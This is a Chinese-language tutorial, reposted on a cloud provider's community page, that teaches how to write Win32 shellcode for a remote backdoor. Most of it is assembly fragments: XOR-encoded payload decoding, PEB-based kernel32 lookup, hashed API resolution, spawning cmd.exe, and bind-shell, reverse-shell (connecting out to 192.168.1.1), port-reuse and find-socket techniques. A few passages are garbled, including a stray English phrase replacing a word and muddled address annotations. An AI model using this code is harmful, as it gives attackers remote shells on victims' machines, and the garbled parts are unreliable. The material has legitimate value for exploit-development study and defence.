Win32 ShellCode 編程技術

來源:互聯網
上載者:User

 

一、改變程式執行路徑,即獲得EIP;

 

獲得EIP 
為什麼要獲得EIP?答案很簡單,因為執行程式需要給自己定位。如果對病毒編寫技術有瞭解,相信你一定知道病毒程式是怎麼定位的吧?它就是利用call/pop來實現的。熟悉彙編的讀者知道,call XXX指令相當於push eip, jmp XXX,就是說call指令先把下一條要執行的指令地址壓入堆棧,然後再跳到XXX的地址去。程式碼片段如下:
450000: label1: pop eax
450005: … eax = 451005

451000: call label1 push 451005
451005: jmp label1
也可以像下面這樣多次跳轉:
450000: jmp label1
450002: 
label2: jmp cont
450004: 
label1: call label2 push 450009
450009: jmp label2 
cont: pop eax 
… eax = 450009 

二、ShellCode編碼解碼;

脆弱性服務程式常常對客戶的輸入請求有特殊字元要求,像編寫Foxmail和RPC的ShellCode裡限制了對“/”字元的引用,而一般情況下,幾乎大部分的ShellCode都避免使用“/x00”,因為它也許會截斷我們的ShellCode。那麼,此時我們就需要對ShellCode進行編碼了,在其執行時再解碼就可以避開這些服務程式的要求的特殊限制了。這裡我們介紹的是簡單的一種編碼方式:XOR(異或)大法。大家都知道,XOR有這樣的特性,即一個數兩次XOR同一個數,其值不變,比如a
xor b xor b = a,這也是很多程式加密解密的原始方法。具體的編解碼可以通過下面的程式碼片段來實現:
xor ecx, ecx // 清零
mov cl, 0C6h // 需要異或的字元個數 
loop1: // 開始迴圈
inc eax // 
xor byte ptr [eax], 96h //96h是可選的,只要能通過異或該值而避免特殊字元
loop loop1
結合上面講的定位方法,我們就可以像下面這樣安排我們的解碼編碼順序:
jmp decode_end //為了獲得已編碼的ShellCode地址
decode_start:
pop ebx //得到已編碼ShellCode 的位置 
xor ecx, ecx 
mov cl, 0C6h //要解碼的長度
loop_decode: //迴圈解碼
xor byte ptr [ebx + ecx], 96h
loop loop_decode 
jmp decode_done //解碼完成,跳到已編碼ShellCode執行
decode_end:
call decode_start
decode_done:
… //編碼後的ShellCode
編碼解碼在ShellCode編寫中尤為重要,直接關係到ShellCode能否成功執行。需要注意的是,XOR大法並不能通吃,因為當受限制字元很多時,並一定能找到合適的值來進行XOR,如果盲目異或,可能會產生適得其反的效果 。那麼,這時候可能需要用到其它的技巧了。

三、獲得執行“惡意”代碼所需的函數地址,開Shell;

這一部分涉及的內容比較多。大家要有耐心,因為這些都是編寫ShellCode的關鍵。為方便討論,我們細分成幾點,逐個擊破:
1. 通過PEB法實現Kernel32.dll基地址的尋找;
2. 通過PE檔案格式實現對GetProcAddress()函數地址的尋找;
3. 通過Hash法實現對其它API函數地址的尋找;
4. 通過CreateProcess()開Cmd Shell;

1.通過PEB法實現Kernel32.dll基地址的尋找
首先,我們要定位Kernel32.dll的地址,現在比較通用的尋找方法有三種: PEB,SHE,TOPSTACK,其中PEB應該是最為有效而通用的,所以我們就用它吧。通過下面的流程圖看出如何通過PEB搜尋Kernel32.dll的地址。
流程很清晰,
(1) FS寄存器TEB結構;
(2) TEB+0x30PEB結構;
(3) PEB+0x0cPEB_LDR_DATA;
(4) PEB_LDR_DATA+0x1cNtdll.dll;
(5) Ntdll.dll+0x08Kernel32.dll。
這樣,實現代碼就很容易了,如下:
mov eax,fs:[30h] 
mov eax,[eax+0ch] 
mov esi,[eax+1ch] 
lodsd 
mov ebx,[eax+08h] 
另外的SEH和TOPSTACK其實也很好用,這裡限於篇幅,大家可以去找些資料或看看以往黑防的文章。

2.通過PE檔案格式實現對GetProcAddress()函數地址的尋找
Kernel32.dll地址的定位問題解決了,那麼就要順藤摸瓜,通過該地址來找函數GetProcAddress()的地址,因為該函數是找到其它實現ShellCode功能所需函數的切入點哦。我們從下面的流程圖看出整個尋找過程。
流程也很清晰,我們按部就班分析一下:
(1) kernel32.dll + 0x3c PE頭;
(2) kernel32.dll + 0x3c + 0x78 資料目錄表(DataDirectory)結構,而它的第一個成員就是引出表(Export Table);
(3) Export + 0x1c 函數地址數組AddressFunctions;
Export + 0x20 函數名稱數組AddressNames;
Export + 0x24 函數名稱序號數組AddressOfNameOrdinals;
(4) 由AddressNames 確定 GetProcAddress 對於的 index;
(5) 由AddressOfNameOrdinals[index] AddressOfFunctions[index];
(6) 由AddressOfFunctions[index] GetProcAddress地址。

上面的流程都用的是相對位移地址,我們在真正計算函數地址的時候要加上Kernel32.dll的基地址來得到我們的絕對位址。實現程式碼片段如下(其中ebx為Kernel32.dll的基地址):
mov esi,dword ptr [ebx+3Ch] // PE頭 位移
add esi,ebx //加kernel32基址換成絕對位址,以下同
mov esi,dword ptr [esi+78h] // 資料目錄表位移
add esi,ebx 
mov edi,dword ptr [esi+20h] // 函數名稱數組位移
add edi,ebx 
mov ecx,dword ptr [esi+14h] // 函數地址數組的元素個數
push esi 
xor eax,eax 
mov edx,dword ptr [esi+24h] //函數名稱序號表數組位移
add edx,ebx 
shl eax,1       //count * 2
add eax,edx // count + 函數名序號表位移
xor ecx,ecx 
mov cx,word ptr [eax] 
mov eax,dword ptr [esi+1Ch] // 函數地址數組位移
add eax,ebx 
shl ecx,2 //count * 4
add eax,ecx // count + 引出表基址
mov edx,dword ptr [eax]  // 利用序號值,得到函數地址位移
add edx,ebx // GetProcAddress()地址
大家歸納一下,可以得到以下計算公式:
ProcAddr = (((counter * 2) + Ordinal) * 4) + AddrTable + Kernel32Base

3.通過Hash法實現對其它API函數地址的尋找
GetProcAddress()函數地址找到了,接下來就找其它函數的地址。ShellCode發展的最初是通過函數名來一個一個尋找,但通過API函數名尋找函數地址要求大量的空間來儲存ASCII字串。這對ShellCode大小有嚴格要求的情況來說是極不合適的,於是我們採用The Last Stage of Delerium提出的一種HASH法,即通過某種轉換來得到HASH值。這樣每個函數名都可以最佳化成僅32位的HASH值,大大減小了ShellCode的長度。The Last Stage of Delerium所使用的Hash方法是把函數名的每個字元迴圈左移5位(或右移27位)並相加得到HASH值,我們可以寫一個函數來獲得解析函數名的HASH值:
DWORD GetHash( unsigned char *c )
{
DWORD h = 0;
while ( *c )
{
h = ( ( h << 5 ) | ( h >> 27 ) ) + *c++;
}
return( h );

計算得到LoadLibraryA()的HASH值為331ADDDC,CreateProcessA()的HASH值為B87742CB。在實際應用中,該Hash方法得到的HASH值是很可靠的,即基本上不會出現兩個不同函數得到同一個HASH值的情況。而在http://www.metasploit.com上,採用的則是迴圈右移13位(或左移19位),這個也是目前比較常用的HASH方法,下面就是我們按照metasploit的HASH演算法給出的實現代碼:
compute_hash:
xor eax, eax // eax清零
cdq // edx清零
cld // 清除方向標誌位
compute_hash_again:
lodsb // 從esi裝載下一個位元組到al
test al, al // al 為零 ?
jz compute_hash_finished // al 為零,表示遇到‘/0’
ror edx, 0xd //迴圈右移13位
add edx, eax // 計算下一個新位元組
jmp compute_hash_again // 繼續HASH
compute_hash_finished: 
這樣,我們就可以得到所有ShellCode使用函數的地址了。

4.通過CreateProcess()開Cmd Shell
一般來說,ShellCode的功能就是開一個Shell(ShellCode的名字也是這樣演化來的), 然後通過該Shell,被攻擊主機和攻擊主機就可以互相通訊了。其實這裡的工作就是相當於寫一個簡單的後門程式,不同的只是我們用ShellCode來實現。通訊的部分留到後面,我們先來開一個Shell。
如果你寫過後門程式,應該很清楚,我們要在被攻擊主機上開Shell就是利用了CreateProcess()這個API函數。它的原形如下:
BOOL CreateProcess( 
LPCWSTR pszImageName, 
LPCWSTR pszCmdLine, //命令列參數
LPSECURITY_ATTRIBUTES psaProcess, 
LPSECURITY_ATTRIBUTES psaThread, 
BOOL fInheritHandles, //是否繼承控制代碼
DWORD fdwCreate, 
LPVOID pvEnvironment, 
LPWSTR pszCurDir, 
LPSTARTUPINFOW psiStartInfo, //啟動資訊
LPPROCESS_INFORMATION pProcInfo //進程資訊
);
雖然參數暴多,但是我們只需要關注有注釋的那幾個,其它的一概用NULL或0來填充即可。因為後門程式的編寫黑防幾乎每期必有,我就不多說了,只是簡單列出要點:
(1) 設定STARTUPINFO結構;
(2) 重新導向標準StdInput,StdOutput,StdError;
(3) 調用CreateProcess()啟動cmd.exe。
相應的實現功能程式碼片段如下:
mov byte ptr [ebp],44h //STARTUPINFO 大小
mov dword ptr [ebp+3Ch],ebx //StdOutput 控制代碼
mov dword ptr [ebp+38h],ebx //StdInput 控制代碼
mov dword ptr [ebp+40h],ebx //StdError 控制代碼
mov word ptr [ebp+2Ch],0101h //STARTF_USESTDHANDLES|STARTF_USESHOWWINDOWS 
lea eax,[ebp+44h] 
push eax // &ProcessInfo
push ebp // &StartupInfo
push ecx // 0
push ecx // 0
push ecx // 0
inc ecx // ecx = 1
push ecx // 1 
dec ecx // ecx = 0
push ecx // 0
push ecx // 0
push esi // “Cmd.exe”
push ecx // 0
call dword ptr [edi-28] // CreateProcess(NULL, “Cmd.exe”, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo)

小提示:注意上面的函數壓棧順序,遵從C風格函數調用,即參數從右往左依次壓棧。

到這我們暫時鬆一口氣了,至少通過上面的知識,我們可以在本機上通過編寫ShellCode來實現開一個Cmd視窗。如果你用的是VC,會驚喜地發現你根本不需要#include <windows.h>這樣來聲明語句來包含標頭檔了。但戰鬥才剛剛開始,因為我們要的是遠程主機的Shell,所以我們還要解決攻擊機和被攻擊機之間的通訊問題,
四、建立通訊串連

四種的ShellCode技術實現我們和被攻擊主機的通訊:
- 連接埠綁定
- 反向串連
- 靜態連接埠複用 
- 尋找socket
準備好了嗎?那就開始吧!
連接埠綁定
如果讀者編寫過最基本的後門程式,就很容易理解了,因為連接埠綁定就是指,在讓被攻擊者主機作為一個伺服器,建立一個通訊端,綁定到指定連接埠,然後監聽,如果監聽到有串連請求,開一個Shell。如一(嗚嗚,畫圖好辛苦啊,如果畫一個圖和寫100個exp之間選擇,我寧願選擇後者~汗…值得一題的是,強烈推薦大家以後用MS Visio這個強大的工具來畫類比圖哦,簡單易用量又足…hoho)

流程如下:
WSAStartup() bind() listen() accept() Shell()
CreateProcess(“cmd.exe”)我們在上一篇文章裡講了,這裡就不重複了。而WSAStartup(), bind(), listen(), accepte()都是Winsock API函數,與LoadLibraryA()和GetProcAddress()包含在Kernel32.dll中不同,他們都包含在Ws2_32.dll中,大家還記得在上一篇中,我們能找到Kernel32.dll裡任何函數的地址,那麼就是說我們可以得到LoadLibrary()的地址,那麼也就是說,通過LoadLibrary(“Ws2_32.dll”)我們也可以得到Ws2_32.dll的基地址,那麼再由GetProcAddress()得到就可以得到WSAStartup(),bind()等Winscok
API地址咯。(汗~~…那麼那麼那麼…頭都大了)。如果對Winsock API不熟悉的讀者,那就要查查MSDN咯,我們這裡只講架構和原理,細節的東西大家就要自己動手了哦。下面給出實現的關鍵程式碼片段:
mov ebx,eax // eax 是socket()返回的通訊端描述符
mov word ptr [ebp],2 //type: AF_INET = 2
mov word ptr [ebp+2],1000h //port = 4096
mov dword ptr [ebp+4], 0 //INADDR_ANY = 0,本主機任意IP
push 10h // length = sizeof(sockaddr) = 16
push ebp //struct sockaddr*: &server
push ebx // s: sock
call dwordptr [edi-12] //bind(sock, (struct sockaddr*)&server, sizeof(server))
inc eax // eax = 1
push eax // backlog = 1 
push ebx // s: sock
call dword ptr [edi-8] //listen(sock, backlog),成功返回eax = 0
push eax // 0 接受所有串連
push eax // 0 接受所有串連
push ebx // s: scok
call dword ptr [edi-4] //accept(sock, 0, 0)
(註:注意上面的函數壓棧順序,遵從C風格函數調用,即參數從右往左依次壓棧)
右邊的注釋我基本按照MSDN的參數一個一個進行了說明,應該非常清楚,只要會一點網路編程,結合左邊的彙編,是不是發現編寫連接埠綁定的ShellCode很簡單呢。

反向串連
現在人們網路安全意識都逐漸的在提高,無論是從事網路安全的工作者還是剛剛才學會用QQ聊天的MM,相信在安裝完作業系統後的第一件事就是安裝軟體防火牆。那麼對於上面的連接埠綁定的ShellCode,即使我們在被攻擊主機開了Shell監聽,可是我們卻無法連過去。因為幾乎所有的防火牆都過濾了內入(inbound)非法連接埠的串連。這時候,我們就可以試著使用反向(reverse)串連的方法了,也就是我們常說的反連後門。當然,這種方法可行的前提是假設被攻擊主機的防火牆沒有過濾普通程式的外發(outbound)資料。

流程比連接埠綁定還簡單:
WSAStartup() WSASocket() connect() Shell()
這裡除了改用connect()外,其他和連接埠綁定的實現是基本一樣的。下面同樣給出關鍵的程式碼片段:
push eax   // dwFlag = 0
push eax // g = 0
push eax // lpProtocolInfo = NULL
push eax // protocol = 0
inc eax // eax = 1
push eax // type: SOCK_STREAM = 1
inc eax // eax = 2
push eax // af: AF_INET = 2
call dword ptr [edi-8] // sock = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
mov ebx,eax // ebx = sock 
mov word ptr [ebp],2 
mov word ptr [ebp+2],1000h //port = 4096
mov dword ptr [ebp+4], 0101a8c0h //IP: 192.168.1.1
push 10h // length = sizeof(sockaddr) = 16
push ebp // struct sockaddr* 
push ebx // sock
call dword ptr [edi-4] ;connect
同樣,注釋已經一目瞭然,是不是發現比連接埠綁定其實差不多呢。

靜態連接埠複用
反向串連看起來好像很不錯,但是,要知道,我們是假設被攻擊主機的防火牆沒有訂製外發資料規則的,現在的防火牆超級BT,只要不是系統服務的應用程式訪問外網,都會彈出警告視窗,阻止外發的串連。除此之外,還有一個問題,如果作為攻擊者的你的主機IP是內網的私人地址,被攻擊者又如何能找到你的地址和你建立通訊串連呢。
這就引出了連接埠複用技術。什麼是連接埠複用呢? 就是通過一些已經在使用的連接埠來綁定我們的shell,比如FTP伺服器通常開啟預設的21連接埠,HTTP伺服器開啟預設的80連接埠,一般這樣的話,那些連接埠都是防火牆允許的連接埠,不會被查殺.靜態複用連接埠就是說,我們事Crowdsourced Security Testing道被攻擊主機已經開了什麼連接埠,而且該連接埠可被重用,那麼我們就可以通過ShellCode複用該連接埠來實現開Shell了。:
該方法流程和連接埠綁定差不多,但是中間多加了一個步驟,如下:
WSAStartup() setsockopt() bind() listen() accept() Shell()
看到了嗎?多加了一個setsockopt(),顧名思義,set socket option,就是設定通訊端選項的意思, 我們來看看MSDN上對它的描述吧:
int setsockopt(
SOCKET s, // 通訊端
int level, // 選項層級,這裡我們用SOL_SOCKET
int optname, // 通訊端選項,這裡我們用SO_REUSEADDR,這可是關鍵哦
const char FAR* optval, // 指向通訊端選項的值的指標
int optlen // optval大小
);

OK, 弄清意思之後,大家在結合下面給出關鍵程式碼片段,就明白了。
mov word ptr [ebp],2
push 4 // sizeof(optval) = sizeof(int) = 4
push ebp // ebp指向通訊端選項SO_REUSEADDR值的指標
push 4 // SO_REUSEADDR = 4
push 0ffffh // SOL_SOCKET = 0xffff
push ebx // ebx: sock 
call dword ptr [edi-20] //setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval)) 
mov word ptr [ebp+2],1000h // port = 4096,假定連接埠4096開放
mov dword ptr [ebp+4], 0h // IP = INADDR_ANY
push 10h // sizeof(addr) = 16
push ebp // &addr
push ebx // sock
call dword ptr [edi-12] //bind(sock,(struct sockaddr*)&addr, sizeof(addr))
要注意的是,如果伺服器的脆弱性應用程式已經指定通訊端為SO_EXCLUSIVEADDR選項,那麼綁定就不能成功。

尋找SOCKET
尋找socket,就是通過搜尋和利用一個已經存在的串連,它用一個迴圈去尋找和當前串連的通訊端描述符,比較遠程主機資訊來標識當前的串連,如果發現匹配,就綁定到Shell.
該方法的原理是這樣的:
(1) 我們(攻擊者)在發送攻擊串之前用getsockname函數獲得通訊端本地資訊,把相應資訊寫入shellcode, 這裡我們寫入自己的連接埠號碼,在下面的代碼中就是0x1234。
(2) 服務端(被攻擊主機)shellcode從1開始遞增尋找socket,並且用getpeername函數獲得攻擊者的通訊端資訊,我們這裡為連接埠號碼。
(3) 如果兩個連接埠號碼比較,相符就認為找到socket,跳出遞增迴圈,並且把shell綁定在這個socket上。
OK,原理說完了,給出關鍵程式碼片段:
xor ebx,ebx // ebx = 0
find:
inc ebx // 從socket = 1開始往上找,一直找到為止
mov dword ptr [ebp],10h // [ebp] = sizeof(sockaddr) = 16
lea eax,[ebp] 
push eax // &namelen
lea eax,[ebp+4] 
push eax // &name
push ebx // sock
call dword ptr [edi-4] // getpeername(sock, 
(struct sockaddr*)&name, &namelen)
cmp word ptr [ebp+6],1234h // 連接埠比較,1234是我們(攻擊者)連接埠
jne find // 不匹配,繼續尋找
found:
push ebx // 找到socket,儲存
這種動態尋找通訊端的方法也有其的局限性,如果被攻擊主機在NAT網路環境裡,而攻擊者getsockname取得的通訊端資訊和被攻擊主機getpeername取得的通訊端資訊不一定相符,導致尋找socket失敗。
還要說明的一點是,在Win32下,WSASocket()建立的SOCKET預設是非重疊通訊端,可以直接將cmd.exe的stdin、stdout、stderr轉向到通訊端上。而socket()函數則隱式指定了重疊標誌,它建立的SOCKET是重疊通訊端(overlapped socket),不能直接將cmd.exe的stdin、stdout、stderr轉向到通訊端上,只能用管道(pipe)來與cmd.exe進程傳輸資料。而且,winsock推薦使用重疊通訊端,所以實際中應該儘可能使用管道。,

Win32 ShellCode的編寫技術到這就暫時告一段落了,通過(上)和這篇文章介紹的知識,我們基本上就可以編寫出一個屬於自己的ShellCode後門了。但是,要知道,我們只是實現基本的功能而已,如果要編寫更加進階的ShellCode,比如實現Http下載檔案並執行的技術,比如突破防火牆技術,比如讓自己的ShellCode更加短小而且更加的通用,

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.